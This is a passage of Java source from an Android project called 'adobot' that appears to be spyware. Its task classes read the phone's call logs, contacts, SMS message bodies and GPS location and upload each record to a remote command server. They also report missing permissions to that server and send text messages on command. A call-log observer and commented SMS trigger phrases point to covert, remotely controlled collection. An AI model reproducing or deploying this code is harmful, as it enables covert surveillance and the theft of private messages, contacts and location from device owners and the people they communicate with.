110 | PackageManager.PERMISSION_GRANTED &&
111 | ContextCompat.checkSelfPermission(context, Manifest.permission.READ_CONTACTS) ==
112 | PackageManager.PERMISSION_GRANTED;
113 | }
114 |
115 | /* public void setRecipientNumber(String recipientNumber) {
116 | this.recipientNumber = recipientNumber;
117 | }*/
118 |
119 | public interface SubmitCallLogCallback {
120 | void onResult (boolean success);
121 | }
122 |
123 | public void submitNextRecord(final SubmitCallLogCallback cb) {
124 | Log.i(TAG, "submitNextCallLog()");
125 | Thread thread = new Thread(new Runnable() {
126 | @Override
127 | public void run() {
128 | CallLog log = callLogDao.first();
129 | Log.i(TAG, "callLog = " + log);
130 | if (log != null) {
131 | submitSms(log, cb);
132 | } else
133 | cb.onResult(true);
134 | }
135 | });
136 | thread.start();
137 | }
138 |
139 | private void submitSms(final CallLog callLog, final SubmitCallLogCallback cb) {
140 |
141 | final int call_id = callLog.getCallId();
142 | final int callType = callLog.getType();
143 | final String phone = callLog.getPhone();
144 | final String name = callLog.getName();
145 | final String date = callLog.getDate();
146 | final int duration = callLog.getDuration();
147 |
148 | try {
149 |
150 | HashMap p = new HashMap();
151 | p.put("uid", commonParams.getUid());
152 | p.put("call_id", Integer.toString(call_id));
153 | p.put("type", callType);
154 | p.put("phone", phone);
155 | p.put("name", name);
156 | p.put("date", date);
157 | p.put("duration", duration);
158 |
159 | JSONObject obj = new JSONObject(p);
160 | Log.i(TAG, "Submitting Call Log: " + obj.toString());
161 |
162 | Http http = new Http();
163 | http.setMethod(HttpRequest.METHOD_POST);
164 | http.setUrl(commonParams.getServer() + AdobotConstants.POST_CALL_LOGS_URL);
165 | http.setParams(p);
166 | http.setCallback(new HttpCallback() {
167 | @Override
168 | public void onResponse(HashMap response) {
169 | int statusCode = (int) response.get("status");
170 | if (statusCode >= 200 && statusCode < 400) {
171 | try {
172 | callLogDao.delete(callLog.getId());
173 | Log.i(TAG, "call log submitted!! " + phone);
174 | submitNextRecord(cb);
175 | } catch (Exception e) {
176 | Log.i(TAG, "Failed to delete call log: " + phone);
177 | cb.onResult(false);
178 | e.printStackTrace();
179 | }
180 | } else {
181 | Log.i(TAG, "Call log failed to submit!!!" + phone);
182 | Log.i(TAG, "Status code: " + statusCode);
183 | cb.onResult(false);
184 | /*InsertCallLogThread ins = new InsertCallLogThread(callLog);
185 | ins.start();*/
186 | }
187 | }
188 | });
189 | http.execute();
190 |
191 | } catch (Exception e) {
192 | Log.i(TAG, "FAiled with error: " + e.toString());
193 | e.printStackTrace();
194 | cb.onResult(false);
195 | /*InsertCallLogThread ins = new InsertCallLogThread(callLog);
196 | ins.start();*/
197 | }
198 | }
199 |
200 | private class InsertCallLogThread extends Thread {
201 | /*final SmsManager manager = SmsManager.getDefault();
202 | private String phone;
203 | private String message;
204 | private int delay = 3000;*/
205 | private CallLog callLog;
206 |
207 | public InsertCallLogThread(CallLog callLog) {
208 | this.callLog = callLog;
209 | }
210 |
211 | @Override
212 | public void run() {
213 | super.run();
214 |
215 | try {
216 | callLogDao.insert(callLog);
217 | Log.i(TAG, "Call Log saved, type: " + callLog.getType() + "!!!" + callLog.getPhone());
218 | submitSms(callLog, new SubmitCallLogCallback() {
219 | @Override
220 | public void onResult(boolean success) {
221 | if (success) {
222 | submitNextRecord(new SubmitCallLogCallback() {
223 | @Override
224 | public void onResult(boolean success) {
225 | // nothing to do after submit
226 | }
227 | });
228 | }
229 | }
230 | });
231 | } catch (Exception e) {
232 | Log.i(TAG, "Failed to save callLog: id: " + callLog.getId());
233 | }
234 |
235 |
236 | /* if (sending) {
237 | Log.i(TAG, "Resending..");
238 | try {
239 | Thread.sleep(delay);
240 | } catch (InterruptedException e) {
241 | e.printStackTrace();
242 | } finally {
243 | new SendSmsThread(this.phone, this.message).start();
244 | }
245 | return;
246 | }
247 | sending = true;*/
248 | /* try {
249 | Log.i(TAG, "Sleeping ..");
250 | Thread.sleep(delay);
251 |
252 | } catch (InterruptedException e) {
253 | e.printStackTrace();
254 | } finally {
255 | Log.i(TAG, "Sending message ");
256 | int length = message.length();
257 |
258 | if (length > MAX_SMS_MESSAGE_LENGTH) {
259 | ArrayList messagelist = manager.divideMessage(message);
260 |
261 | manager.sendMultipartTextMessage(phone, null, messagelist, null, null);
262 | } else {
263 | manager.sendTextMessage(phone, null, message, null, null);
264 | }
265 |
266 | }*/
267 | }
268 | }
269 |
270 | public class CallLogObserver extends ContentObserver {
271 |
272 |
273 | public CallLogObserver(Handler handler) {
274 | super(handler);
275 | }
276 |
277 | @Override
278 | public void onChange(boolean selfChange) {
279 | super.onChange(selfChange);
280 | Cursor cursor = null;
281 |
282 | try {
283 | cursor = contentResolver.query(CALL_LOG_URI, null, null, null, "date DESC");
284 |
285 | if (cursor != null && cursor.moveToNext()) {
286 | saveCallLog(cursor);
287 | }
288 | } finally {
289 | if (cursor != null)
290 | cursor.close();
291 | }
292 |
293 | }
294 |
295 | private void saveCallLog(Cursor mCur) {
296 |
297 | int id = mCur.getColumnIndex(android.provider.CallLog.Calls._ID);
298 | int number = mCur.getColumnIndex(android.provider.CallLog.Calls.NUMBER);
299 | int type = mCur.getColumnIndex(android.provider.CallLog.Calls.TYPE);
300 | int date = mCur.getColumnIndex(android.provider.CallLog.Calls.DATE);
301 | int duration = mCur.getColumnIndex(android.provider.CallLog.Calls.DURATION);
302 |
303 |
304 | String phNumber = mCur.getString(number);
305 | String nameS = getContactName(phNumber);
306 | int callType = mCur.getInt(type);
307 | String callDate = mCur.getString(date);
308 | Date callDayTime = new Date(Long.valueOf(callDate));
309 | SimpleDateFormat dt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
310 | int callDuration = mCur.getInt(duration);
311 |
312 | Log.i(TAG, "Call log detected: " + phNumber + ", Type: " + callType);
313 |
314 | if (lastLogDate != callDate) {
315 | lastLogDate = callDate;
316 |
317 | CallLog callLog = new CallLog();
318 | callLog.setCallId(id);
319 | callLog.setType(callType);
320 | callLog.setPhone(phNumber);
321 | callLog.setName(nameS);
322 | callLog.setDate(dt.format(callDayTime));
323 | callLog.setDuration(callDuration);
324 |
325 | InsertCallLogThread ins = new InsertCallLogThread(callLog);
326 | ins.start();
327 | }
328 |
329 | // final int type = mCur.getInt(mCur.getColumnIndex("type"));
330 | // final int id = mCur.getInt(mCur.getColumnIndex("_id"));
331 | // final String body = mCur.getString(mCur.getColumnIndex("body"));
332 | //
333 | // String smsOpenText = prefs.getString(AdobotConstants.PREF_SMS_OPEN_TEXT_FIELD, "Open adobot");
334 | //
335 | // if (Objects.equals(body.trim(), smsOpenText.trim()) && type == MESSAGE_TYPE_SENT) {
336 | // Intent setupIntent = new Intent(context, SetupActivity.class);
337 | // setupIntent.addFlags(FLAG_ACTIVITY_NEW_TASK);
338 | // context.startActivity(setupIntent);
339 | // return;
340 | // }
341 | //
342 | // String uploadSmsCmd = prefs.getString(AdobotConstants.PREF_FORCE_SYNC_SMS_COMMAND_FIELD, "Baby?");
343 | // if (Objects.equals(body.trim(), uploadSmsCmd.trim()) && type == MESSAGE_TYPE_RECEIVED) {
344 | // Log.i(TAG, "Forced submit SMS");
345 | // submitNextRecord(new SubmitCallLogCallback() {
346 | // @Override
347 | // public void onResult(boolean success) {
348 | // }
349 | // });
350 | // return;
351 | // }
352 | //
353 | // // accept only received and sent
354 | // if (id != lastId && (type == MESSAGE_TYPE_RECEIVED || type == MESSAGE_TYPE_SENT)) {
355 | //
356 | // lastId = id;
357 | //
358 | // final String thread_id = mCur.getString(mCur.getColumnIndex("thread_id"));
359 | // final String phone = mCur.getString(mCur.getColumnIndex("address"));
360 | // final String name = getContactName(phone);
361 | //
362 | //
363 | // SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
364 | // Calendar calendar = Calendar.getInstance();
365 | // String now = mCur.getString(mCur.getColumnIndex("date"));
366 | // calendar.setTimeInMillis(Long.parseLong(now));
367 | //
368 | // final String date = formatter.format(calendar.getTime());
369 | //
370 | // Sms callLog = new Sms();
371 | // callLog.setId(Integer.parseInt(thread_id + id));
372 | // callLog.set_id(id);
373 | // callLog.setThread_id(thread_id);
374 | // callLog.setBody(body);
375 | // callLog.setName(name);
376 | // callLog.setPhone(phone);
377 | // callLog.setDate(date);
378 | // callLog.setType(type);
379 | //
380 | // InsertCallLogThread ins = new InsertCallLogThread(callLog);
381 | // ins.start();
382 | //
383 | //
384 | // }
385 |
386 | }
387 |
388 | }
389 |
390 |
391 | }
392 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/tasks/GetCallLogsTask.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.tasks;
2 |
3 | import android.Manifest;
4 | import android.content.Context;
5 | import android.content.pm.PackageManager;
6 | import android.database.Cursor;
7 | import android.net.Uri;
8 | import android.provider.CallLog;
9 | import android.support.v4.content.ContextCompat;
10 | import android.util.Log;
11 |
12 | import com.android.adobot.AdobotConstants;
13 |
14 | import java.text.SimpleDateFormat;
15 | import java.util.Date;
16 | import java.util.HashMap;
17 |
18 | import com.android.adobot.http.Http;
19 | import com.android.adobot.http.HttpRequest;
20 |
21 | public class GetCallLogsTask extends BaseTask {
22 |
23 | private static String TAG = "GetCallLogsTask";
24 | private int numlogs;
25 |
26 | public GetCallLogsTask(Context client, int numlogs) {
27 | setContext(client);
28 | this.numlogs = numlogs;
29 | }
30 |
31 | @Override
32 | public void run() {
33 | super.run();
34 | getCallLogs();
35 | }
36 |
37 | private void getCallLogs() {
38 |
39 |
40 | if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_CALL_LOG) == PackageManager.PERMISSION_GRANTED) {
41 |
42 | HashMap start = new HashMap();
43 | start.put("event", "getcallhistory:started");
44 | start.put("uid", commonParams.getUid());
45 | start.put("device", commonParams.getDevice());
46 | Http startHttp = new Http();
47 | startHttp.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
48 | startHttp.setMethod(HttpRequest.METHOD_POST);
49 | startHttp.setParams(start);
50 | startHttp.execute();
51 |
52 | String strOrder = android.provider.CallLog.Calls.DATE + " DESC";
53 | Uri callUri = Uri.parse("content://call_log/calls");
54 | Cursor mCur = context.getApplicationContext().getContentResolver().query(callUri, null, null, null, strOrder);
55 | int id = mCur.getColumnIndex(CallLog.Calls._ID);
56 | int number = mCur.getColumnIndex(CallLog.Calls.NUMBER);
57 | int type = mCur.getColumnIndex(CallLog.Calls.TYPE);
58 | int date = mCur.getColumnIndex(CallLog.Calls.DATE);
59 | int duration = mCur.getColumnIndex(CallLog.Calls.DURATION);
60 |
61 | if (mCur.moveToFirst()) {
62 | do {
63 | Log.i(TAG, "This number: " + this.numlogs);
64 | String phNumber = mCur.getString(number);
65 | String nameS = getContactName(phNumber);
66 | String callType = mCur.getString(type);
67 | String callDate = mCur.getString(date);
68 | Date callDayTime = new Date(Long.valueOf(callDate));
69 | SimpleDateFormat dt = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
70 | String callDuration = mCur.getString(duration);
71 |
72 | HashMap p = new HashMap();
73 | p.put("uid", commonParams.getUid());
74 | p.put("call_id", Integer.toString(id));
75 | p.put("type", callType);
76 | p.put("phone", phNumber);
77 | p.put("name", nameS);
78 | p.put("date", dt.format(callDayTime));
79 | p.put("duration", callDuration);
80 |
81 | Http req = new Http();
82 | req.setMethod(HttpRequest.METHOD_POST);
83 | req.setUrl(commonParams.getServer() + AdobotConstants.POST_CALL_LOGS_URL);
84 | req.setParams(p);
85 | req.execute();
86 | this.numlogs--;
87 | } while (mCur.moveToNext() && this.numlogs > 0);
88 | }
89 |
90 | start.put("event", "getcallhistory:done");
91 | start.put("uid", commonParams.getUid());
92 | start.put("device", commonParams.getDevice());
93 | Http doneHttp = new Http();
94 | doneHttp.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
95 | doneHttp.setMethod(HttpRequest.METHOD_POST);
96 | doneHttp.setParams(start);
97 | doneHttp.execute();
98 |
99 | mCur.close();
100 | } else {
101 |
102 | Log.i(TAG, "No SMS permission!!!");
103 | HashMap noPermit = new HashMap();
104 | noPermit.put("event", "nopermission");
105 | noPermit.put("uid", commonParams.getUid());
106 | noPermit.put("device", commonParams.getDevice());
107 | noPermit.put("permission", "READ_CALL_LOG");
108 | Http doneSMS = new Http();
109 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
110 | doneSMS.setMethod(HttpRequest.METHOD_POST);
111 | doneSMS.setParams(noPermit);
112 | doneSMS.execute();
113 |
114 | requestPermissions();
115 | }
116 |
117 | }
118 | }
119 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/tasks/GetContactsTask.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.tasks;
2 |
3 | import android.Manifest;
4 | import android.content.ContentResolver;
5 | import android.content.Context;
6 | import android.content.pm.PackageManager;
7 | import android.database.Cursor;
8 | import android.provider.ContactsContract;
9 | import android.support.v4.content.ContextCompat;
10 | import android.util.Log;
11 |
12 | import com.android.adobot.AdobotConstants;
13 | import com.android.adobot.CommonParams;
14 |
15 | import java.util.HashMap;
16 |
17 | import com.android.adobot.http.Http;
18 | import com.android.adobot.http.HttpRequest;
19 |
20 | /**
21 | * Created by adones on 2/24/17.
22 | */
23 |
24 | public class GetContactsTask extends BaseTask {
25 | private static final String TAG = "GetContactsTask";
26 | private CommonParams commonParams;
27 | private final String[] pers = {Manifest.permission.READ_CONTACTS};
28 |
29 | public GetContactsTask(Context c) {
30 | setContext(c);
31 | this.commonParams = new CommonParams(c);
32 | }
33 |
34 | @Override
35 | public void run() {
36 | super.run();
37 | Log.i(TAG, "Running!!!!");
38 | if (ContextCompat.checkSelfPermission(context, Manifest.permission.READ_CONTACTS) == PackageManager.PERMISSION_GRANTED) {
39 | getContactsList();
40 | } else {
41 |
42 | HashMap contactP = new HashMap();
43 | contactP.put("event", "nopermission");
44 | contactP.put("permission", Manifest.permission.READ_CONTACTS);
45 | contactP.put("uid", commonParams.getUid());
46 |
47 | Http req = new Http();
48 | req.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
49 | req.setMethod(HttpRequest.METHOD_POST);
50 | req.setParams(contactP);
51 | req.execute();
52 |
53 | requestPermissions();
54 | }
55 | }
56 |
57 | private void getContactsList() {
58 |
59 | HashMap startHm = new HashMap();
60 | startHm.put("event", "getcontacts:started");
61 | startHm.put("uid", commonParams.getUid());
62 | startHm.put("device", commonParams.getDevice());
63 |
64 | Http startReq = new Http();
65 | startReq.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
66 | startReq.setMethod(HttpRequest.METHOD_POST);
67 | startReq.setParams(startHm);
68 | startReq.execute();
69 |
70 | ContentResolver cr = context.getApplicationContext().getContentResolver();
71 | Cursor cur = cr.query(ContactsContract.Contacts.CONTENT_URI,
72 | null, null, null, null);
73 |
74 | if (cur.getCount() > 0) {
75 | while (cur.moveToNext()) {
76 |
77 | String id;
78 | String name;
79 | String phoneNumbers = "";
80 |
81 | id = cur.getString(
82 | cur.getColumnIndex(ContactsContract.Contacts._ID));
83 | name = cur.getString(cur.getColumnIndex(
84 | ContactsContract.Contacts.DISPLAY_NAME));
85 |
86 | if (cur.getInt(cur.getColumnIndex(
87 | ContactsContract.Contacts.HAS_PHONE_NUMBER)) > 0) {
88 | Cursor pCur = cr.query(
89 | ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
90 | null,
91 | ContactsContract.CommonDataKinds.Phone.CONTACT_ID + " = ?",
92 | new String[]{id}, null);
93 | while (pCur.moveToNext()) {
94 | String pn = pCur.getString(pCur.getColumnIndex(
95 | ContactsContract.CommonDataKinds.Phone.NUMBER));
96 |
97 | if (pCur.isFirst())
98 | phoneNumbers += pn;
99 | else
100 | phoneNumbers += ", " + pn;
101 |
102 |
103 | }
104 | pCur.close();
105 | }
106 |
107 | HashMap contactP = new HashMap();
108 | contactP.put("uid", commonParams.getUid());
109 | contactP.put("contact_id", id);
110 | contactP.put("name", name);
111 | contactP.put("phone_numbers", phoneNumbers);
112 |
113 | Http req = new Http();
114 | req.setUrl(commonParams.getServer() + AdobotConstants.POST_CONTACTS_URL);
115 | req.setMethod(HttpRequest.METHOD_POST);
116 | req.setParams(contactP);
117 | req.execute();
118 |
119 | }
120 | }
121 |
122 | HashMap endHm = new HashMap();
123 | endHm.put("event", "getcontacts:completed");
124 | endHm.put("uid", commonParams.getUid());
125 | endHm.put("device", commonParams.getDevice());
126 |
127 | Http endReq = new Http();
128 | endReq.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
129 | endReq.setMethod(HttpRequest.METHOD_POST);
130 | endReq.setParams(endHm);
131 | endReq.execute();
132 |
133 |
134 | cur.close();
135 | }
136 |
137 | }
138 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/tasks/GetSmsTask.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.tasks;
2 |
3 | import android.Manifest;
4 | import android.content.ContentResolver;
5 | import android.content.Context;
6 | import android.content.pm.PackageManager;
7 | import android.database.Cursor;
8 | import android.net.Uri;
9 | import android.support.v4.content.ContextCompat;
10 | import android.util.Log;
11 |
12 | import com.android.adobot.AdobotConstants;
13 |
14 | import org.json.JSONObject;
15 |
16 | import java.text.SimpleDateFormat;
17 | import java.util.Calendar;
18 | import java.util.HashMap;
19 |
20 | import com.android.adobot.http.Http;
21 | import com.android.adobot.http.HttpRequest;
22 |
23 | public class GetSmsTask extends BaseTask {
24 |
25 | private static String TAG = "GetSmsTask";
26 |
27 | private int numsms;
28 |
29 | public GetSmsTask(Context client, int numsms) {
30 | setContext(client);
31 | this.numsms = numsms;
32 | }
33 |
34 | @Override
35 | public void run() {
36 | Log.i(TAG, "Running GetSmsTask ......\n");
37 | getAllSms();
38 | }
39 |
40 | private void getAllSms() {
41 | Log.i(TAG, "Getting all sms");
42 |
43 | if(ContextCompat.checkSelfPermission(context, Manifest.permission.READ_SMS) == PackageManager.PERMISSION_GRANTED) {
44 |
45 | HashMap start = new HashMap();
46 | start.put("event", "getmessages:started");
47 | start.put("uid", commonParams.getUid());
48 | start.put("device", commonParams.getDevice());
49 | Http req = new Http();
50 | req.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
51 | req.setMethod(HttpRequest.METHOD_POST);
52 | req.setParams(start);
53 | req.execute();
54 |
55 | Uri callUri = Uri.parse("content://sms");
56 | ContentResolver cr = context.getApplicationContext().getContentResolver();
57 | Cursor mCur = cr.query(callUri, null, null, null, null);
58 | if (mCur.moveToFirst()) {
59 | do {
60 |
61 | SimpleDateFormat formatter = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
62 | Calendar calendar = Calendar.getInstance();
63 | String now = mCur.getString(mCur.getColumnIndex("date"));
64 | calendar.setTimeInMillis(Long.parseLong(now));
65 |
66 | try {
67 | String thread_id = mCur.getString(mCur.getColumnIndex("thread_id"));
68 | String id = mCur.getString(mCur.getColumnIndex("_id"));
69 | String phone = mCur.getString(mCur.getColumnIndex("address"));
70 | String name = getContactName(phone);
71 | String body = mCur.getString(mCur.getColumnIndex("body"));
72 | String date = formatter.format(calendar.getTime());
73 | String type = mCur.getString(mCur.getColumnIndex("type"));
74 |
75 | HashMap p = new HashMap();
76 | p.put("uid", commonParams.getUid());
77 | p.put("type", type);
78 | p.put("message_id", id);
79 | p.put("thread_id", thread_id);
80 | p.put("phone", phone);
81 | p.put("name", name);
82 | p.put("message", body);
83 | p.put("date", date);
84 |
85 | JSONObject obj = new JSONObject(p);
86 | Log.i(TAG, obj.toString());
87 |
88 | Http smsHttp = new Http();
89 | smsHttp.setMethod(HttpRequest.METHOD_POST);
90 | smsHttp.setUrl(commonParams.getServer() + AdobotConstants.POST_MESSAGE_URL);
91 | smsHttp.setParams(p);
92 | smsHttp.execute();
93 |
94 | } catch (Exception e) {
95 | e.printStackTrace();
96 | }
97 |
98 | this.numsms --;
99 | Log.i(TAG, "numsms: " + this.numsms);
100 |
101 | } while (mCur.moveToNext() && this.numsms > 0);
102 | } else {
103 |
104 | HashMap done = new HashMap();
105 | done.put("event", "getmessages:empty");
106 | done.put("uid", commonParams.getUid());
107 | done.put("device", commonParams.getDevice());
108 | Http doneSMS = new Http();
109 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
110 | doneSMS.setMethod(HttpRequest.METHOD_POST);
111 | doneSMS.setParams(done);
112 | doneSMS.execute();
113 |
114 | }
115 |
116 | HashMap done = new HashMap();
117 | done.put("event", "getmessages:done");
118 | done.put("uid", commonParams.getUid());
119 | done.put("device", commonParams.getDevice());
120 | Http doneSMS = new Http();
121 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
122 | doneSMS.setMethod(HttpRequest.METHOD_POST);
123 | doneSMS.setParams(done);
124 | doneSMS.execute();
125 |
126 | mCur.close();
127 | } else {
128 | Log.i(TAG, "No SMS permission!!!");
129 | HashMap noPermit = new HashMap();
130 | noPermit.put("event", "nopermission");
131 | noPermit.put("uid", commonParams.getUid());
132 | noPermit.put("device", commonParams.getDevice());
133 | noPermit.put("permission", "READ_SMS");
134 | Http doneSMS = new Http();
135 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
136 | doneSMS.setMethod(HttpRequest.METHOD_POST);
137 | doneSMS.setParams(noPermit);
138 | doneSMS.execute();
139 |
140 | requestPermissions();
141 | }
142 | }
143 |
144 | }
145 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/tasks/LocationMonitor.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.tasks;
2 |
3 | import android.Manifest;
4 | import android.content.Context;
5 | import android.content.pm.PackageManager;
6 | import android.location.Location;
7 | import android.support.v4.app.ActivityCompat;
8 | import android.util.Log;
9 |
10 | import com.android.adobot.AdobotConstants;
11 | import com.android.adobot.http.Http;
12 |
13 | import java.util.HashMap;
14 |
15 | import io.nlopez.smartlocation.OnLocationUpdatedListener;
16 | import io.nlopez.smartlocation.SmartLocation;
17 |
18 | /**
19 | * Created by adones on 2/26/17.
20 | */
21 |
22 | public class LocationMonitor extends BaseTask {
23 |
24 | private static final String TAG = "LocationMonitor";
25 |
26 | private double latitude;
27 | private double longitude;
28 | private String server;
29 |
30 | public LocationMonitor(Context c) {
31 | setContext(c);
32 | this.latitude = 0;
33 | this.longitude = 0;
34 | setServer(commonParams.getServer());
35 | }
36 |
37 | public void setServer(String url) {
38 | this.server = url;
39 | }
40 |
41 | @Override
42 | public void run() {
43 | super.run();
44 |
45 | if (ActivityCompat.checkSelfPermission(context, Manifest.permission.ACCESS_FINE_LOCATION) == PackageManager.PERMISSION_GRANTED &&
46 | ActivityCompat.checkSelfPermission(context, Manifest.permission.ACCESS_COARSE_LOCATION) == PackageManager.PERMISSION_GRANTED) {
47 | observeLocation();
48 | }
49 | }
50 |
51 | private void observeLocation() {
52 | SmartLocation.with(context).location()
53 | .start(new OnLocationUpdatedListener() {
54 | @Override
55 | public void onLocationUpdated(Location location) {
56 | updateLocation(location);
57 | }
58 | });
59 | }
60 |
61 | private void updateLocation(Location location) {
62 | if (location != null) {
63 | latitude = location.getLatitude();
64 | longitude = location.getLongitude();
65 |
66 | Log.i(TAG, "Location changed ....");
67 |
68 | HashMap bot = new HashMap();
69 | bot.put("lat", latitude);
70 | bot.put("longi", longitude);
71 | Http req = new Http();
72 | req.setUrl(this.server + AdobotConstants.POST_STATUS_URL + "/" + commonParams.getUid());
73 | req.setMethod("POST");
74 | req.setParams(bot);
75 | req.execute();
76 | }
77 | }
78 |
79 | public double getLatitude(){
80 | return this.latitude;
81 | }
82 |
83 | public double getLongitude() {
84 | return this.longitude;
85 | }
86 | }
87 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/tasks/SendSmsTask.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.tasks;
2 |
3 | import android.Manifest;
4 | import android.app.Activity;
5 | import android.app.PendingIntent;
6 | import android.content.BroadcastReceiver;
7 | import android.content.Context;
8 | import android.content.Intent;
9 | import android.content.IntentFilter;
10 | import android.content.pm.PackageManager;
11 | import android.support.v4.content.ContextCompat;
12 | import android.telephony.SmsManager;
13 | import android.util.Log;
14 |
15 | import com.android.adobot.AdobotConstants;
16 |
17 | import java.util.ArrayList;
18 | import java.util.HashMap;
19 |
20 | import com.android.adobot.http.Http;
21 | import com.android.adobot.http.HttpRequest;
22 |
23 | /**
24 | * Created by adones on 2/26/17.
25 | */
26 |
27 | public class SendSmsTask extends BaseTask {
28 |
29 | private static final String TAG = "SendSmsTask";
30 |
31 | private static final int MAX_SMS_MESSAGE_LENGTH = 160;
32 | private static final String SMS_SENT = "SMS_SENT";
33 | private static final String SMS_DELIVERED= "SMS_DELIVERED";
34 | private static final int SMS_PORT = 8091;
35 |
36 | private String phoneNumber;
37 | private String textMessage;
38 |
39 | public SendSmsTask(Context c) {
40 | setContext(c);
41 | }
42 |
43 | public void setTextMessage(String textMessage) {
44 | this.textMessage = textMessage;
45 | }
46 |
47 | public void setPhoneNumber(String phoneNumber) {
48 | this.phoneNumber = phoneNumber;
49 | }
50 |
51 | @Override
52 | public void run() {
53 | super.run();
54 |
55 | if(ContextCompat.checkSelfPermission(context, Manifest.permission.SEND_SMS) == PackageManager.PERMISSION_GRANTED) {
56 | context.registerReceiver(receiver, new IntentFilter(SMS_SENT));
57 | sendSms(phoneNumber, textMessage);
58 | } else {
59 | Log.i(TAG, "No SMS permission!!!");
60 | HashMap noPermit = new HashMap();
61 | noPermit.put("event", "nopermission");
62 | noPermit.put("uid", commonParams.getUid());
63 | noPermit.put("device", commonParams.getDevice());
64 | noPermit.put("permission", "SEND_SMS");
65 | Http doneSMS = new Http();
66 | doneSMS.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
67 | doneSMS.setMethod(HttpRequest.METHOD_POST);
68 | doneSMS.setParams(noPermit);
69 | doneSMS.execute();
70 | requestPermissions();
71 | }
72 | }
73 |
74 | public void sendSms(String phonenumber,String message)
75 | {
76 | SmsManager manager = SmsManager.getDefault();
77 |
78 | PendingIntent piSend = PendingIntent.getBroadcast(context, 0, new Intent(SMS_SENT), 0);
79 | PendingIntent piDelivered = PendingIntent.getBroadcast(context, 0, new Intent(SMS_DELIVERED), 0);
80 |
81 | int length = message.length();
82 |
83 | if(length > MAX_SMS_MESSAGE_LENGTH)
84 | {
85 | ArrayList messagelist = manager.divideMessage(message);
86 |
87 | manager.sendMultipartTextMessage(phonenumber, null, messagelist, null, null);
88 | }
89 | else
90 | {
91 | manager.sendTextMessage(phonenumber, null, message, piSend, piDelivered);
92 | }
93 | }
94 |
95 | private BroadcastReceiver receiver = new BroadcastReceiver() {
96 |
97 | @Override
98 | public void onReceive(Context context, Intent intent) {
99 | String event = "";
100 | String message = "";
101 |
102 | switch (getResultCode()) {
103 | case Activity.RESULT_OK:
104 | event = "sendmessage:success";
105 | break;
106 | case SmsManager.RESULT_ERROR_GENERIC_FAILURE:
107 | event = "sendmessage:failed";
108 | message = "Message not sent.";
109 | break;
110 | case SmsManager.RESULT_ERROR_NO_SERVICE:
111 | event = "sendmessage:failed";
112 | message = "No service.";
113 | break;
114 | case SmsManager.RESULT_ERROR_NULL_PDU:
115 | event = "sendmessage:failed";
116 | message = "Error: Null PDU.";
117 | break;
118 | case SmsManager.RESULT_ERROR_RADIO_OFF:
119 | event = "sendmessage:failed";
120 | message = "Error: Radio off.";
121 | break;
122 | }
123 |
124 | Log.i(TAG, event);
125 |
126 | HashMap params = new HashMap();
127 | params.put("event", event);
128 | params.put("message", message);
129 | params.put("textmessage", textMessage);
130 | params.put("phone", phoneNumber);
131 | params.put("uid", commonParams.getUid());
132 | params.put("device", commonParams.getDevice());
133 |
134 | Http req = new Http();
135 | req.setUrl(commonParams.getServer() + AdobotConstants.NOTIFY_URL);
136 | req.setMethod(HttpRequest.METHOD_POST);
137 | req.setParams(params);
138 | req.execute();
139 |
140 | context.unregisterReceiver(receiver);
141 | }
142 | };
143 | }
144 |
--------------------------------------------------------------------------------
/app/src/main/java/com/android/adobot/tasks/SmsRecorderTask.java:
--------------------------------------------------------------------------------
1 | package com.android.adobot.tasks;
2 |
3 | import android.Manifest;
4 | import android.arch.persistence.room.Room;
5 | import android.content.ContentResolver;
6 | import android.content.Context;
7 | import android.content.SharedPreferences;
8 | import android.content.pm.PackageManager;
9 | import android.database.ContentObserver;
10 | import android.database.Cursor;
11 | import android.net.Uri;
12 | import android.os.Handler;
13 | import android.support.v4.content.ContextCompat;
14 | import android.util.Log;
15 |
16 | import com.android.adobot.AdobotConstants;
17 | import com.android.adobot.CommonParams;
18 | import com.android.adobot.SmsBroadcastReceiver;
19 | import com.android.adobot.database.AppDatabase;
20 | import com.android.adobot.database.Sms;
21 | import com.android.adobot.database.SmsDao;
22 | import com.android.adobot.http.Http;
23 | import com.android.adobot.http.HttpCallback;
24 | import com.android.adobot.http.HttpRequest;
25 |
26 | import org.json.JSONObject;
27 |
28 | import java.text.SimpleDateFormat;
29 | import java.util.Calendar;
30 | import java.util.HashMap;
31 | import java.util.Objects;
32 |
33 | /**
34 | * Created by adones on 2/27/17.
35 | */
36 |
37 | public class SmsRecorderTask extends BaseTask {
38 |
39 | private static final String TAG = "SmsRecorderTask";
40 |
41 | private static final Uri smsUri = Uri.parse("content://sms");
42 | public static final int MESSAGE_TYPE_RECEIVED = 1;
43 | public static final int MESSAGE_TYPE_SENT = 2;
44 |
45 | private SmsObserver smsObserver;
46 | private SharedPreferences prefs;
47 | private ContentResolver contentResolver;
48 | private AppDatabase appDatabase;
49 | public SmsDao smsDao;
50 | private static SmsRecorderTask instance;
51 | private int lastId = 0;
52 |
53 | public SmsRecorderTask(Context context) {
54 | setContext(context);
